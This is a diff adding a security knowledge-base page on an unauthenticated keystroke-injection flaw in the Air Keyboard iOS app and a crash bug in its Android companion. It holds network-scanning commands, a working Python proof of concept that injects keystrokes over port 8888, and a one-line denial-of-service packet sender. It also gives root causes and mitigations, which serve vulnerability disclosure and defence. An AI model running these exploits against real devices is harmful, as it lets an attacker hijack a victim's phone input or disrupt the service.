|
| 1 | +# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## TL;DR |
| 6 | + |
| 7 | +The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**. |
| 8 | +Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victim’s phone, achieving **full remote interaction hijacking**. |
| 9 | + |
| 10 | +A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**). |
| 11 | + |
| 12 | +## 1. Service Discovery |
| 13 | + |
| 14 | +Scan the local network and look for the two fixed ports used by the apps: |
| 15 | + |
| 16 | +```bash |
| 17 | +# iOS (input-injection) |
| 18 | +nmap -p 8888 --open 192.168.1.0/24 |
| 19 | + |
| 20 | +# Android (weakly-authenticated service) |
| 21 | +nmap -p 55535 --open 192.168.1.0/24 |
| 22 | +``` |
| 23 | + |
| 24 | +On Android handsets you can identify the responsible package locally: |
| 25 | + |
| 26 | +```bash |
| 27 | +adb shell netstat -tulpn | grep 55535 # no root required on emulator |
| 28 | + |
| 29 | +# rooted device / Termux |
| 30 | +netstat -tulpn | grep LISTEN |
| 31 | +ls -l /proc/<PID>/cmdline # map PID → package name |
| 32 | +``` |
| 33 | + |
| 34 | +## 2. Frame Format (iOS) |
| 35 | + |
| 36 | +The binary reveals the following parsing logic inside the `handleInputFrame()` routine: |
| 37 | + |
| 38 | +``` |
| 39 | +[length (2 bytes little-endian)] |
| 40 | +[device_id (1 byte)] |
| 41 | +[payload ASCII keystrokes] |
| 42 | +``` |
| 43 | + |
| 44 | +The declared length includes the `device_id` byte **but not** the two-byte header itself. |
| 45 | + |
| 46 | +## 3. Exploitation PoC |
| 47 | + |
| 48 | +```python |
| 49 | +#!/usr/bin/env python3 |
| 50 | +"""Inject arbitrary keystrokes into Air Keyboard for iOS""" |
| 51 | +import socket, sys |
| 52 | + |
| 53 | +target_ip = sys.argv[1] # e.g. 192.168.1.50 |
| 54 | +keystrokes = b"open -a Calculator\n" # payload visible to the user |
| 55 | + |
| 56 | +frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) |
| 57 | +frame += b"\x01" # device_id = 1 (hard-coded) |
| 58 | +frame += keystrokes |
| 59 | + |
| 60 | +with socket.create_connection((target_ip, 8888)) as s: |
| 61 | + s.sendall(frame) |
| 62 | +print("Injected", keystrokes) |
| 63 | +``` |
| 64 | + |
| 65 | +Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc. |
| 66 | + |
| 67 | +## 4. Android Companion – Denial-of-Service |
| 68 | + |
| 69 | +The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched. |
| 70 | + |
| 71 | +```python |
| 72 | +import socket |
| 73 | +socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS |
| 74 | +``` |
| 75 | + |
| 76 | +## 5. Root Cause |
| 77 | + |
| 78 | +1. **No origin / integrity checks** on incoming frames (iOS). |
| 79 | +2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android). |
| 80 | + |
| 81 | +## 6. Mitigations & Hardening Ideas |
| 82 | + |
| 83 | +* Never expose unauthenticated services on a mobile handset. |
| 84 | +* Derive per-device secrets during onboarding and verify them before processing input. |
| 85 | +* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control. |
| 86 | +* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.). |
| 87 | +* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks. |
| 88 | + |
| 89 | +## Detection Cheat-Sheet (Pentesters) |
| 90 | + |
| 91 | +```bash |
| 92 | +# Quick one-liner to locate vulnerable devices in a /24 |
| 93 | +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' |
| 94 | + |
| 95 | +# Inspect running sockets on a connected Android target |
| 96 | +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" |
| 97 | +``` |
| 98 | +
|
| 99 | +## References |
| 100 | +
|
| 101 | +- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) |
| 102 | +- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) |
| 103 | +
|
| 104 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments